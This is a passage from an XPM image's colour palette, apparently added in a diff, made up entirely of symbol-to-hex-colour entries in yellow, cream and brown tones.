#F1F6D4", +"$# c #F6FBD3", +"%# c #F8FCD1", +"&# c #F9FDD0", +"*# c #FAFDCF", +"=# c #FAFDCD", +"-# c #FBFCCC", +";# c #FBFCCA", +"># c #FAFAC9", +",# c #FAF9C7", +"'# c #FAF8C6", +")# c #F8F6C4", +"!# c #F5F2C2", +"~# c #F1ECC0", +"{# c #EAE6BF", +"]# c #FFFFBD", +"^# c #FBFDBB", +"/# c #E4DDB9", +"(# c #EAE3B7", +"_# c #EBE3B5", +":# c #EDE3B2", +"<# c #EEE3B0", +"[# c #ECE1AE", +"}# c #ECDEAC", +"|# c #EBDDAA", +"1# c #EBDCA7", +"2# c #ECDBA5", +"3# c #ECD9A3", +"4# c #ECD8A0", +"5# c #EDD79E", +"6# c #EED79C", +"7# c #EFD69A", +"8# c #EFD497", +"9# c #F0D395", +"0# c #F1D799", +"a# c #F8D08F", +"b# c #E6852E", +"c# c #7D3D12", +"d# c #491A25", +"e# c #4F211F", +"f# c #A24700", +"g# c #FEB77D", +"h# c #FFD7B6", +"i# c #C35D00", +"j# c #5F2D19", +"k# c #CB671B", +"l# c #FFE26B", +"m# c #FDFF89", +"n# c #FAFF80", +"o# c #FAFF82", +"p# c #FBFF84", +"q# c #FBFF86", +"r# c #FBFF88", +"s# c #FBFF8A", +"t# c #FBFF8D", +"u# c #FBFF8F", +"v# c #FBFF90", +"w# c #FBFF92", +"x# c #FBFF95", +"y# c #FBFF97", +"z# c #FBFF99", +"A# c #FBFF9B", +"B# c #FCFF9C", +"C# c #FCFF9E", +"D# c #FCFFA0", +"E# c #FCFFA2", +"F# c #FCFFA4", +"G# c #FCFFA6", +"H# c #FCFFA8", +"I# c #FCFFA9", +"J# c #FCFFAB", +"K# c #FCFFAD", +"L# c #FCFFAE", +"M# c #FCFFB0", +"N# c #FCFFB2", +"O# c #FCFFB3", +"P# c #FCFFB5", +"Q# c #FCFFB6", +"R# c #FCFFB7", +"S# c #FCFFB9", +"T# c #FCFFBA", +"U# c #FCFEBB", +"V# c #FAFDBD", +"W# c #F7FABE", +"X# c #F4F6BF", +"Y# c #EDEFC0", +"Z# c #EAECC1", +"`# c #FEFDC2", +" $ c #FFFEC3", +".$ c #EBEDC3", +"+$ c #EBEEC5", +"@$ c #F2F5C5", +"#$ c #F6F9C6", +"$$ c #F9FBC7", +"%$ c #FAFDC7", +"&$ c #FAFDC8", +"*$ c #F9FBC8", +"=$ c #F7FAC8", +"-$ c #F8F9C9", +";$ c #F9F9C9", +">$ c #F7F7C9", +",$ c #F1F2C9", +"'$ c #E7EAC9", +")$ c #E9EAC9", +"!$ c #F1F1C9", +"~$ c #F6F6C8", +"{$ c #F9F8C8", +"]$ c #FBF8C8", +"^$ c #FAF8C8", +"/$ c #F9F7C7", +"($ c #FAF8C7", +"_$ c #F9F7C6", +":$ c #F5F3C5", +"<$ c #EAE7C5", +"[$ c #E1DEC4", +"}$ c #E8E6C3", +"|$ c #F6F3C2", +"1$ c #FDFAC1", +"2$ c #F0ECC0", +"3$ c #EAE5BF", +"4$ c #F2EBBE", +"5$ c #F4EDBD", +"6$ c #F6EEBC", +"7$ c #F7EEBA", +"8$ c #F8EEB9", +"9$ c #F8EEB8", +"0$ c #F8EDB6", +"a$ c #F8ECB5", +"b$ c #F8EAB4", +"c$ c #F5E8B2", +"d$ c #F1E3B0", +"e$ c #EBDEAF", +"f$ c #E1D3AD", +"g$ c #F4EDAC", +"h$ c #FCF7AA", +"i$ c #DCCEA8", +"j$ c #DFCFA6", +"k$ c #E0D0A4", +"l$ c #E2D1A2", +"m$ c #E1CDA1", +"n$ c #DECA9F", +"o$ c #DEC89D", +"p$ c #DEC79B", +"q$ c #E0C999", +"r$ c #E2CA97", +"s$ c #E3CA95", +"t$ c #E4C993", +"u$ c #E4C891", +"v$ c #E6C88F", +"w$ c #E8C88D", +"x$ c #EAC88B", +"y$ c #ECC889", +"z$ c #EECC8C", +"A$ c #F6C784", +"B$ c #E5842D", +"C$ c #7C3D13", +"D$ c #A34800", +"E$ c #FEB77E", +"F$ c #FFE26A", +"G$ c #FDFF87", +"H$ c #FAFE7E", +"I$ c #FAFF81", +"J$ c #FBFF83", +"K$ c #FBFF85", +"L$ c #FBFF87", +"M$ c #FBFF89", +"N$ c #FBFF8B", +"O$ c #FBFF91", +"P$ c #FBFF93", +"Q$ c #FCFF9D", +"R$ c #FCFF9F", +"S$ c #FCFFA1", +"T$ c #FCFFA3", +"U$ c #FCFFA7", +"V$ c #FCFFAC", +"W$ c #FCFFAF", +"X$ c #FCFFB1", +"Y$ c #FCFFB4", +"Z$ c #FCFFB8", +"`$ c #FBFEB9", +" % c #F9FBBB", +".% c #F5F7BB", +"+% c #F0F3BC", +"@% c #E7EBBE", +"#% c #FAF8BF", +"$% c #EBEBC0", +"%% c #E9ECC2", +"&% c #F1F3C2", +"*% c #F5F7C3", +"=% c #F8FBC4", +"-% c #FAFCC5", +";% c #FAFDC5", +">% c #F8FBC5", +",% c #F9FAC6", +"'% c #F9F9C6", +")% c #F1F4C7", +"!% c #EBEEC6", +"~% c #E5E8C6", +"{% c #EFEFC6", +"]% c #FBFAC6", +"^% c #F9F8C6", +"/% c #F5F5C6", +"(% c #F3F3C6", +"_% c #F2F1C6", +":% c #F1F0C5", +"<% c #F0EEC5", +"[% c #F0EFC5", +"}% c #F3F1C4", +"|% c #F8F5C3", +"1% c #FCFAC2", +"2% c #F2F0C1", +"3% c #E0DDC1", +"4% c #DFDCC0", +"5% c #EFEBBF", +"6% c #FFFDBE", +"7% c #F1ECBD", +"8% c #E9E3BC", +"9% c #F1EABB", +"0% c #F4EBBA", +"a% c #F6EDB9", +"b% c #F7EDB7", +"c% c #F8ECB3", +"d% c #F7EAB2", +"e% c #F4E7B0", +"f% c #EFE2AE", +"g% c #EADDAD", +"h% c #DECFAB", +"i% c #EEE6A9", +"j% c #FEFAA8", +"k% c #D9CDA6", +"l% c #D6C8A5", +"m% c #CEC0A3", +"n% c #CEBDA1", +"o% c #D6C79F", +"p% c #DED09D", +"q% c #E2D49B", +"r% c #E2D29A", +"s% c #DECA98", +"t% c #D9C296", +"u% c #D5BA94", +"v% c #D4B891", +"w% c #D7BC90", +"x% c #DDC18D", +"y% c #E0C28B", +"z% c #E3C289", +"A% c #E6C487", +"B% c #EAC98B", +"C% c #F4C582", +"D% c #E2832D", +"E% c #4A1A25", +"F% c #FFE269", +"G% c #FDFF86", +"H% c #FAFE7D", +"I% c #FAFE7F", +"J% c #FBFF8C", +"K% c #FBFF8E", +"L% c #FBFF94", +"M% c #FAFDB7", +"N% c #F7FAB9", +"O% c #F3F6BA", +"P% c #EBEDBB", +"Q% c #EFF0BC", +"R% c #FFFEBD", +"S% c #EEEEBD", +"T% c #E5E9BF", +"U% c #EFF1BF", +"V% c #F3F6C0", +"W% c #F7FAC1", +"X% c #F9FCC2", +"Y% c #FAFDC2", +"Z% c #FAFDC3", +"`% c #F8FBC3", +" & c #F7F9C4", +".& c #F1F4C4", +"+& c #EDF0C4", +"@& c #E7EAC4", +"#& c #F2F2C4", +"$& c #FDFBC4", +"%& c #F1F1C4", +"&& c #E9EAC4", +"*& c #EAEBC4", +"=& c #EDEEC4", +"-& c #F0EFC4", +";& c #F1EFC3", +">& c #F1F0C2", +",& c #F0EFC2", +"'& c #EDEBC2", +")& c #EAE7C1", +"!& c #EFECC0", +"~& c #FCF9C0", +"{& c #F8F4BF", +"]& c #E3E0BE", +"^& c #DCD8BD", +"/& c #ECE8BC", +"(& c #FFFDBB", +"_& c #EDE8BA", +":& c #EAE2B9", +"<& c #F1E9B8", +"[& c #F4EAB7", +"}& c #F6ECB5", +"|& c #F7ECB4", +"1& c #F7EBB3", +"2& c #F8EBB1", +"3& c #F7EAB0", +"4& c #F4E6AE", +"5& c #EEE0AC", +"6& c #E8DBAB", +"7& c #DACDAA", +"8& c #EFE7A8", +"9& c #FCF6A6", +"0& c #D0C4A5", +"a& c #D0C4A3", +"b& c #E2D9A1", +"c& c #E7E09F", +"d& c #F6F19D", +"e& c #FBF69B", +"f& c #F6EF9A", +"g& c #F9F298", +"h& c #FCF695", +"i& c #F9F194", +"j& c #F2E992", +"k& c #E7D990", +"l& c #D8C28E", +"m& c #CDB18C", +"n& c #CCAE8A", +"o& c #D7BA88", +"p& c #DEBF86", +"q& c #E4C48A", +"r& c #EFC181", +"s& c #DE802C", +"t& c #7B3C13", +"u& c #FFE268", +"v& c #FDFF84", +"w& c #FAFE7C", +"x& c #FBFF82", +"y& c #FBFF96", +"z& c #FBFF98", +"A& c #FBFF9A", +"B& c #FCFF9B", +"C& c #FCFFAA", +"D& c #FAFCB5", +"E& c #F6F8B7", +"F& c #F1F3B8", +"G& c #E8EBB9", +"H& c #FBF8BA", +"I& c #FAF7BB", +"J& c #E4E7BC", +"K& c #EDEFBC", +"L& c #F2F4BD", +"M& c #F6F9BE", +"N& c #FAFDBE", +"O& c #FBFEBF", +"P& c #FBFEC0", +"Q& c #FAFDC1", +"R& c #F7FBC1", +"S& c #F3F7C1", +"T& c #F0F3C2", +"U& c #E8ECC2", +"V& c #F2F2C2", +"W& c #F9F7C2", +"X& c #E6E8C2", +"Y& c #E2E4C2", +"Z& c #EBEBC2", +"`& c #EFEFC2", +" * c #F1F1C2", +".* c #F3F2C1", +"+* c #F4F2C1", +"@* c #F4F2C0", +"#* c #F3F2BF", +"$* c #F9F6C3", +"%* c #FFFCCA", +"&* c #FFFDCE", +"** c #FFFCCF", +"=* c #FFFFD0", +"-* c #FFFFCF", +";* c #FBF8CE", +">* c #F1EDCC", +",* c #FFFCC9", +"'* c #F0E9BC", +")* c #EDE5B7", +"!* c #F2E9B5", +"~* c #F5EBB4", +"{* c #F6EBB2", +"]* c #F7EBB1", +"^* c #F7EAAF", +"/* c #F6E8AD", +"(* c #F2E4AD", +"_* c #ECDEAB", +":* c #E6D8A9", +"<* c #D7CAA8", +"[* c #F6EEA6", +"}* c #FAF5A4", +"|* c #C7BAA3", +"1* c #D2C6A1", +"2* c #FFFF9F", +"3* c #FFFF9D", +"4* c #EBE59C", +"5* c #BEB39A", +"6* c #C7B998", +"7* c #D1C296", +"8* c #DCCC94", +"9* c #E4D692", +"0* c #EEE490", +"a* c #FCF88F", +"b* c #FFFF8C", +"c* c #F4EE8B", +"d* c #D9C689", +"e* c #C4A886", +"f* c #CDAF84", +"g* c #DDC088", +"h* c #E8BC7F", +"i* c #D77D2A", +"j* c #793B12", +"k* c #FFE267", +"l* c #FDFF82", +"m* c #FAFE7A", +"n* c #FBFEB2", +"o* c #F8FBB3", +"p* c #F4F6B5", +"q* c #EEF1B6", +"r* c #EAECB7", +"s* c #FEFAB8", +"t* c #F0F0B9", +"u* c #E7EBBA", +"v* c #F0F2BA", +"w* c #F9FCBC", +"x* c #FBFEBD", +"y* c #FBFEBE", +"z* c #F9FCBE", +"A* c #F6F9BF", +"B* c #F3F6BF", +"C* c #ECEFBF", +"D* c #EFF0C0", +"E* c #FEFBC0", +"F* c #EEEEC0", +"G* c #EDEEC0", +"H* c #F1F0C0", +"I* c #EEEEBF", +"J* c #F1F2BF", +"K* c #F4F3BE", +"L* c #FFFFD2", +"M* c #E8E9B4", +"N* c #C7C89B", +"O* c #BABA91", +"P* c #B0AE8C", +"Q* c #9D997F", +"R* c #9D9973", +"S* c #A09B79", +"T* c #A19E86", +"U* c #A19F89", +"V* c #C0C293", +"W* c #E3E3A8", +"X* c #F3ECBE", +"Y* c #FFF8C2", +"Z* c #FAEFB7", +"`* c #F7EAB1", +" = c #F8EBB0", +".= c #F7E9AE", +"+= c #F5E6AC", +"@= c #EFE2AB", +"#= c #E9DBA9", +"$= c #E0D3A7", +"%= c #D9CCA6", +"&= c #FFFCA4", +"*= c #EDE6A2", +"== c #C6B8A1", +"-= c #CCC19F", +";= c #F5F09D", +">= c #FFFF9B", +",= c #F8F69A", +"'= c #C8BD99", +")= c #AEA096", +"!= c #C4B495", +"~= c #CBB693", +"{= c #CEB691", +"]= c #CCB18F", +"^= c #D0B78D", +"/= c #DFD18B", +"(= c #FFFF89", +"_= c #FFFF87", +":= c #EBE085", +"<= c #C2A783", +"[= c #C9AD87", +"}= c #E0B87D", +"|= c #CC7728", +"1= c #753912", +"2= c #491A24", +"3= c #CB671C", +"4= c #FFE266", +"5= c #FDFF81", +"6= c #FAFE78", +"7= c #FAFE7B", +"8= c #FBFF81", +"9= c #FCFF98", +"0= c #FDFF9D", +"a= c #FCFFA5", +"b= c #FAFEB0", +"c= c #F7FAB1", +"d= c #F2F5B3", +"e= c #EBEEB4", +"f= c #EFEFB5", +"g= c #FBF8B6", +"h= c #E9EBB7", +"i= c #ECEFB7", +"j= c #F2F4B8", +"k= c #F7F9B9", +"l= c #FAFEBA", +"m= c #FBFFBB", +"n= c #FBFEBC", +"o= c #F6F9BC", +"p= c #F1F5BD", +"q= c #EBEFBD", +"r= c #FEFABD", +"s= c #FDFBBD", +"t= c #F2F1BD", +"u= c #F1F1BD", +"v= c #F7F5BD", +"w= c #F8F5BD", +"x= c #EFEFBB", +"y= c #FFFFCC", +"z= c #FFFFD4", +"A= c #D6D9A7", +"B= c #B0B189", +"C= c #A4A17E", +"D= c #8B836A", +"E= c #897D65", +"F= c #A49276", +"G= c #AD997D", +"H= c #AD977B", +"I= c #AC957A", +"J= c #AD9778", +"K= c #AD9776", +"L= c #9D896B", +"M= c #7D6F58", +"N= c #857C5C", +"O= c #8F886B", +"P= c #959376", +"Q= c #D3CE9E", +"R= c #FFF5B8", +"S= c #F6E9AE", +"T= c #F8EAAD", +"U= c #F4E6AB", +"V= c #ECDFA9", +"W= c #E5D8A7", +"X= c #D5C7A5", +"Y= c #E9E0A4", +"Z= c #FFFFA2", +"`= c #DACEA1", +" - c #D0C39F", +".- c #CBBC9D", +"+- c #C0B49C", +"@- c #EEE89A", +"#- c #FFFF98", +"$- c #FFFE97", +"%- c #C7BD94", +"&- c #B6A793", +"*- c #CEBC91", +"=- c #D5BF8F", +"-- c #D8C08D", +";- c #D3B98B", +">- c #C4A889", +",- c #C6AE87", +"'- c #ECE485", +")- c #FFFF83", +"!- c #F0E881", +"~- c #C2AB85", +"{- c #CDA67B", +"]- c #BF7026", +"^- c #6F3611", +"/- c #481A24", +"(- c #FFE265", +"_- c #FDFF7F", +":- c #FAFE77", +"<- c #FAFE79", +"[- c #FAFF7F", +"}- c #FBFE94", +"|- c #FAFE96", +"1- c #FAFD98", +"2- c #FAFD99", +"3- c #FAFD9B", +"4- c #FAFE9D", +"5- c #FBFE9E", +"6- c #FBFFA3", +"7- c #FBFFA5", +"8- c #FBFFAC", +"9- c #FAFDAE", +"0- c #F6F8AF", +"a- c #F1F4B0", +"b- c #E9ECB1", +"c- c #F3F2B2", +"d- c #F9F6B3", +"e- c #E6E9B4", +"f- c #EFF1B5", +"g- c #F3F5B6", +"h- c #F7FBB7", +"i- c #FBFEB7", +"j- c #FBFFB8", +"k- c #FBFFB9", +"l- c #F9FCBA", +"m- c #F6F9BA", +"n- c #F0F4BB", +"o- c #F3F4BB", +"p- c #FCF9BB", +"q- c #E6E9BB", +"r- c #E6E8B9", +"s- c #FFFFC4", +"t- c #FFFFD5", +"u- c #C7CB9E", +"v- c #8E8E70", +"w- c #827A66", +"x- c #A1917B", +"y- c #C0AB92", +"z- c #DFC8AA", +"A- c #F8E0BD", +"B- c #FCE5C1", +"C- c #F9E2BE", +"D- c #F6DFBB", +"E- c #F4DDB8", +"F- c #F4DCB5", +"G- c #F6DCB3", +"H- c #F8DCB1", +"I- c #F1D3A6", +"J- c #D8B990", +"K- c #BDA27B", +"L- c #907B5F", +"M- c #625B48", +"N- c #888767", +"O- c #E1D79F", +"P- c #F1E2A7", +"Q- c #F0E2A8", +"R- c #ECDFA8", +"S- c #DACCA5", +"T- c #D7C9A3", +"U- c #F4EDA1", +"V- c #CFC09F", +"W- c #D9C99D", +"X- c #D7C89C", +"Y- c #C4B69A", +"Z- c #BFB298", +"`- c #F9F497", +" ; c #FFFC93", +".; c #C3B691", +"+; c #C0AD8F", +"@; c #D5BE8D", +"#; c #DBC18B", +"$; c #DCC08A", +"%; c #D8BD88", +"&; c #C5AB86", +"*; c #B59B84", +"=; c #E9DF82", +"-; c #FFFF80", +";; c #EFE784", +">; c #BF9C79", +",; c #AE6523", +"'; c #69330F", +"); c #471A23", +"!; c #4E211E", +"~; c #FFE264", +"{; c #FCFF7E", +"]; c #FAFE76", +"^; c #FAFE8D", +"/; c #FAFD8F", +"(; c #F9FC91", +"_; c #F7FA93", +":; c #F6F994", +"<; c #F5F896", +"[; c #F5F898", +"}; c #F5F89A", +"|; c #F6F99B", +"1; c #F7FA9D", +"2; c #F8FB9E", +"3; c #F8FBA0", +"4; c #F9FCA1", +"5; c #F8FCA3", +"6; c #F8FCA4", +"7; c #F9FCA6", +"8; c #F9FCA7", +"9; c #FAFDA8", +"0; c #FBFEA9", +"a; c #FBFFAB", +"b; c #FAFDAC", +"c; c #F5F8AD", +"d; c #F0F3AE", +"e; c #E7EBAF", +"f; c #F8F5B0", +"g; c #F8F5B1", +"h; c #E5E9B2", +"i; c #EEF1B3", +"j; c #F3F5B4", +"k; c #F8FBB5", +"l; c #FBFEB5", +"m; c #FBFFB6", +"n; c #FAFEB7", +"o; c #F9FCB8", +"p; c #F6F9B8", +"q; c #F1F5B8", +"r; c #FBF9B9", +"s; c #F2F3B8", +"t; c #E9EDB9", +"u; c #EDEFB8", +"v; c #F1F3BA", +"w; c #FFFFD1", +"x; c #DEE2AF", +"y; c #8A8A6D", +"z; c #827864", +"A; c #AB9986", +"B; c #F3DDBF", +"C; c #FFEFCD", +"D; c #F6E3C5", +"E; c #ECDBC0", +"F; c #EAD9BE", +"G; c #EAD9BD", +"H; c #EAD8BC", +"I; c #E9D6BA", +"J; c #E8D5B6", +"K; c #E7D3B4", +"L; c #E6D1B1", +"M; c #E5CFAD", +"N; c #E3CDA9", +"O; c #E3CBA5", +"P; c #EBD0A4", +"Q; c #FDDCA7", +"R; c #D2B387", +"S; c #6B5C47", +"T; c #575541", +"U; c #B8AF80", +"V; c #E0D39D", +"W; c #E2D4A4", +"X; c #E7DBA5", +"Y; c #F7F3A2", +"Z; c #FDFCA0", +"`; c #D6C89F", +" > c #D5C59C", +".> c #DECD9B", +"+> c #DDCB9A", +"@> c #D7C798", +"#> c #BEAF96", +"$> c #CFC495", +"%> c #FFFF93", +"&> c #FFFF91", +"*> c #E5DD8F", +"=> c #BDAB8D", +"-> c #D2BB8C", +";> c #DDC18A", +">> c #E1C388", +",> c #DEC086", +"'> c #D4B984", +")> c #BDA382", +"!> c #B9A380", +"~> c #FAF67E", +"{> c #CEB478", +"]> c #985221", +"^> c #64310E", +"/> c #451921", +"(> c #FFE263", +"_> c #FCFF7C", +":> c #FAFE74", +"<> c #FAFE88", +"[> c #F9FD89", +"}> c #F8FC8B", +"|> c #F6FA8D", +"1> c #F4F78F", +"2> c #F2F591", +"3> c #F0F393", +"4> c #EFF194", +"5> c #EEF196", +"6> c #EEF198", +"7> c #F0F299", +"8> c #F1F39B", +"9> c #F1F49C", +"0> c #F2F59E", +"a> c #F3F59F", +"b> c #F3F5A1", +"c> c #F2F5A2", +"d> c #F3F6A4", +"e> c #F8FBA7", +"f> c #F7FAA6", +"g> c #FAFDA9", +"h> c #F9FCAA", +"i> c #F4F7AB", +"j> c #EFF2AC", +"k> c #E6EAAD", +"l> c #F8F5AE", +"m> c #F7F4AF", +"n> c #E4E7B0", +"o> c #EDF0B1", +"p> c #F2F5B2", +"q> c #FBFEB3", +"r> c #FBFFB3", +"s> c #FBFFB4", +"t> c #FAFEB5", +"u> c #F9FDB6", +"v> c #F6FAB6", +"w> c #F6F9B6", +"x> c #F8F8B6", +"y> c #F0F3B7", +"z> c #F0F3B4", +"A> c #FFFFC6", +"B> c #A6A87F", +"C> c #746F5B", +"D> c #A49582", +"E> c #FBE6C9", +"F> c #FFF2D4", +"G> c #ECDDC3", +"H> c #ECDDC5", +"I> c #ECDEC6", +"J> c #EDDEC5", +"K> c #ECDDC4", +"L> c #ECDBC2", +"M> c #EBDAC0", +"N> c #E8D6B9", +"O> c #E8D4B6", +"P> c #E6D2B0", +"Q> c #E5D0AE", +"R> c #E3CEAB", +"S> c #E2CBA7", +"T> c #DDC59E", +"U> c #ECCE9F", +"V> c #FCD7A1", +"W> c #877257", +"X> c #3D3C2F", +"Y> c #9D966F", +"Z> c #CABC94", +"`> c #F1E9A0", +" , c #FFFFA1", +"., c #DDD19E", +"+, c #CBBC9C", +"@, c #DDCE9B", +"#, c #E1CF99", +"$, c #E3CF98", +"%, c #DECC96", +"&, c #D2C194", +"*, c #B7A893", +"=, c #EFE791", +"-, c #FFFE8F", +";, c #F4EE8D", +">, c #CFC08C", +",, c #C7AF8A", +"', c #DCC088", +"), c #E4C486", +"!, c #E4C384", +"~, c #DBBC82", +"{, c #CEB380", +"], c #B0967F", +"^, c #D4C47C", +"/, c #FFFF81", +"(, c #E5D376", +"_, c #8F4C1F", +":, c #5E2D0D", +"<, c #431821", +"[, c #4D201E", +"}, c #FFE261", +"|, c #FCFF7A", +"1, c #F9FE73", +"2, c #FAFE75", +"3, c #FAFE84", +"4, c #F8FC86", +"5, c #F7FA88", +"6, c #F4F88A", +"7, c #F1F58B", +"8, c #EEF18D", +"9, c #ECEE8F", +"0, c #E6EA90", +"a, c #E3E792", +"b, c #E3E794", +"c, c #E3E795", +"d, c #E5E997", +"e, c #E9ED99", +"f, c #EBEE9A", +"g, c #ECEF9C", +"h, c #ECEE9D", +"i, c #EBEE9E", +"j, c #E8EC9F", +"k, c #F8FCAA", +"l, c #EEF5A1", +"m, c #FAFDAA", +"n, c #F7FBA7", +"o, c #F8FCA9", +"p, c #F3F6A9", +"q, c #EFF1AA", +"r, c #E5E9AB", +"s, c #F4F3AB", +"t, c #F9F5AC", +"u, c #E2E6AE", +"v, c #ECEEAE", +"w, c #F1F5AF", +"x, c #F7FAB0", +"y, c #FAFEB1", +"z, c #FBFFB1", +"A, c #FBFFB2", +"B, c #FAFEB3", +"C, c #F9FDB3", +"D, c #F7FCB3", +"E, c #F6FAB4", +"F, c #F4F8B4", +"G, c #F4F7B2", +"H, c #E6EBAE", +"I, c #807F61", +"J, c #857A6C", +"K, c #E5D4BD", +"L, c #FFF9DB", +"M, c #EEDFC8", +"N, c #EDDFC9", +"O, c #EFE1CB", +"P, c #EEE1CB", +"Q, c #EEE0CA", +"R, c #EDDFC7", +"S, c #ECDCC4", +"T, c #EADAC0", +"U, c #EDDBC0", +"V, c #FBE7C6", +"W, c #FFEDCA", +"X, c #FFEAC5", +"Y, c #FEE5BF", +"Z, c #FFE8C0", +"`, c #F0D8B4", +" ' c #E1CBA8", +".' c #DFC7A0", +"+' c #E0C599", +"@' c #FFDCA4", +"#' c #917A5D", +"$' c #3A392C", +"%' c #988F6D", +"&' c #C2B68C", +"*' c #FFFC9D", +"=' c #EEE79E", +"-' c #CEBF9B", +";' c #DCCB99", +">' c #E3CF97", +",' c #E7D196", +"'' c #E4CF94", +")' c #DAC693", +"!' c #BEAC91", +"~' c #D0C58F", +"{' c #FFFF8D", +"]' c #FBF58C", +"^' c #DED48A", +"/' c #BDA788", +"(' c #D7BD86", +"_' c #E3C384", +":' c #E7C582", +"<' c #E1BF81", +"[' c #D4B57E", +"}' c #BCA07D", +"|' c #C2AD7B", +"1' c #FFFF7F", +"2' c #FBEE74", +"3' c #97571F", +"4' c #5A280D", +"5' c #431820", +"6' c #4C201E", +"7' c #FFE260", +"8' c #FCFF78", +"9' c #F9FE71", +"0' c #F9FE81", +"a' c #F7FC82", +"b' c #F5F984", +"c' c #F2F686", +"d' c #EEF188", +"e' c #EAED8A", +"f' c #E1E68B", +"g' c #DEE18D", +"h' c #E7E88F", +"i' c #F0EF90", +"j' c #F6F392", +"k' c #F5F393", +"l' c #EAEA95", +"m' c #E0E397", +"n' c #DFE398", +"o' c #E1E49A", +"p' c #DFE39B", +"q' c #E0E39C", +"r' c #F6F8AB", +"s' c #BABC83", +"t' c #726D56", +"u' c #9B9D6D", +"v' c #EFF3A4", +"w' c #F3F5A6", +"x' c #F1F4A4", +"y' c #F3F6A7", +"z' c #EFF2A8", +"A' c #E5E9A8", +"B' c #EFEFA9", +"C' c #FFFAAA", +"D' c #E5E7AB", +"E' c #E7EBAC", +"F' c #EFF2AD", +"G' c #F5F9AD", +"H' c #F9FDAE", +"I' c #FBFFAF", +"J' c #FBFFB0", +"K' c #F9FDB1", +"L' c #F8FDB1", +"M' c #F7FCB1", +"N' c #F8FCB1", +"O' c #FFFFC9", +"P' c #C9CD92", +"Q' c #6C6852", +"R' c #B6A798", +"S' c #FFF8DE", +"T' c #F8EAD3", +"U' c #EDE0CC", +"V' c #F0E3D0", +"W' c #F0E3CF", +"X' c #EFE3CE", +"Y' c #EEE1CC", +"Z' c #EDDEC8", +"`' c #F0E0C7", +" ) c #FFF2D3", +".) c #FFF5D3", +"+) c #EDD7B9", +"@) c #BCA991", +"#) c #9D8D78", +"$) c #92846E", +"%) c #91836B", +"&) c #93826E", +"*) c #C1A98E", +"=) c #FFE6BB", +"-) c #F0D9B1", +";) c #DFC8A4", +">) c #DFC7A1", +",) c #DFC497", +"') c #FFDCA3", +")) c #7D6B51", +"!) c #3A392B", +"~) c #988C6F", +"{) c #CAC089", +"]) c #FFFF9A", +"^) c #E2D59A", +"/) c #D3C097", +"() c #E3CF95", +"_) c #E8D194", +":) c #E7D092", +"<) c #DFC991", +"[) c #CDBA8F", +"}) c #B9AA8D", +"|) c #FFFF8A", +"1) c #EAE188", +"2) c #C0AC86", +"3) c #D0B585", +"4) c #E0C083", +"5) c #E8C480", +"6) c #E4C17F", +"7) c #D9B87D", +"8) c #C3A27B", +"9) c #D1BD79", +"0) c #FFFF7D", +"a) c #FFF473", +"b) c #A06020", +"c) c #FFE25F", +"d) c #FCFF76", +"e) c #F9FE70", +"f) c #F9FE72", +"g) c #F9FE74", +"h) c #F9FE7D", +"i) c #F7FC7F", +"j) c #F5F981", +"k) c #F0F482", +"l) c #ECEF84", +"m) c #E3E786", +"n) c #DADF88", +"o) c #E6E789", +"p) c #F7F58B", +"q) c #FBF78D", +"r) c #F9F58E", +"s) c #F3F090", +"t) c #F4F192", +"u) c #FBF793", +"v) c #F9F695", +"w) c #E6E796", +"x) c #E3E598", +"y) c #F4F199", +"z) c #F6F59C", +"A) c #FBF997", +"B) c #968E6C", +"C) c #D6BCB4", +"D) c #918379", +"E) c #6D704D", +"F) c #C3C886", +"G) c #D6D892", +"H) c #ECEFA2", +"I) c #EFF3A7", +"J) c #E7EBA7", +"K) c #E5E8A7", +"L) c #FFFDA8", +"M) c #EFEEA9", +"N) c #DFE4A9", +"O) c #ECEFAA", +"P) c #F3F6AB", +"Q) c #F8FBAC", +"R) c #FAFEAC", +"S) c #FBFFAD", +"T) c #FAFEAE", +"U) c #FAFFAF", +"V) c #B8BC81", +"W) c #6A6253", +"X) c #DBCCBD", +"Y) c #FFFCE3", +"Z) c #EFE2CE", +"`) c #F0E4D2", +" ! c #F1E6D4", +".! c #F1E6D3", +"+! c #F0E4D0", +"@! c #EEE0CC", +"#! c #FCECD3", +"$! c #FFFDDE", +"%! c #F4E1C6", +"&! c #B0A08C", +"*! c #7D7261", +"=! c #68614C", +"-! c #4E4A36", +";! c #504E37", +">! c #666547", +",! c #797755", +"'! c #7A7759", +")! c #757451", +"!! c #787353", +"~! c #7B6D5B", +"{! c #D4BB9A", +"]! c #FCE2B8", +"^! c #DEC8A3", +"/! c #E5C899", +"(! c #EFCC96", +"_! c #514736", +":! c #4E4B39", +"~ c #E2D3BB", +",~ c #8F8474", +"'~ c #585343", +")~ c #45442E", +"!~ c #4E4F32", +"~~ c #818055", +"{~ c #B2AE78", +"]~ c #CEC78B", +"^~ c #D7D195", +"/~ c #DED69A", +"(~ c #E0D6A2", +"_~ c #FEF8AB", +":~ c #EFEBA1", +"<~ c #938F70", +"[~ c #615A48", +"}~ c #C5AD8E", +"|~ c #F9DFB6", +"1~ c #E0C8A3", +"2~ c #DDC49B", +"3~ c #FAD8A1", +"4~ c #B49972", +"5~ c #353226", +"6~ c #776E54", +"7~ c #AA9E77", +"8~ c #FEF991", +"9~ c #E8DB95", +"0~ c #D6C191", +"a~ c #E4CE90", +"b~ c #E7CF8E", +"c~ c #E2CA8C", +"d~ c #D6C08B", +"e~ c #BBA78A", +"f~ c #CEC188", +"g~ c #FFFF86", +"h~ c #FEF984", +"i~ c #CCBC83", +"j~ c #BFA581", +"k~ c #DABB7F", +"l~ c #E4C17D", +"m~ c #E6C07B", +"n~ c #E0BB7A", +"o~ c #D6B378", +"p~ c #D5B776", +"q~ c #D8C17A", +"r~ c #DDBE71", +"s~ c #B96D24", +"t~ c #683110", +"u~ c #441922", +"v~ c #A34700", +"w~ c #FFE25D", +"x~ c #FCFF73", +"y~ c #F9FE6C", +"z~ c #F9FE76", +"A~ c #F8FD77", +"B~ c #F5FA7A", +"C~ c #F0F47B", +"D~ c #EAED7D", +"E~ c #DEE27F", +"F~ c #D3D781", +"G~ c #F8F582", +"H~ c #FFF984", +"I~ c #D9DB86", +"J~ c #D1D687", +"K~ c #D9DD89", +"L~ c #DDE08B", +"M~ c #DEE18C", +"N~ c #DCDF8F", +"O~ c #D9DD91", +"P~ c #E5E692", +"Q~ c #E6E894", +"R~ c #DCE095", +"S~ c #F5FAA6", +"T~ c #909565", +"U~ c #988B7D", +"V~ c #FFF2D2", +"W~ c #F2E2C5", +"X~ c #FFF1D7", +"Y~ c #554F46", +"Z~ c #4B5030", +"`~ c #ADB078", +" { c #D8DA97", +".{ c #E7E9A4", +"+{ c #DADEA3", +"@{ c #E1E1A4", +"#{ c 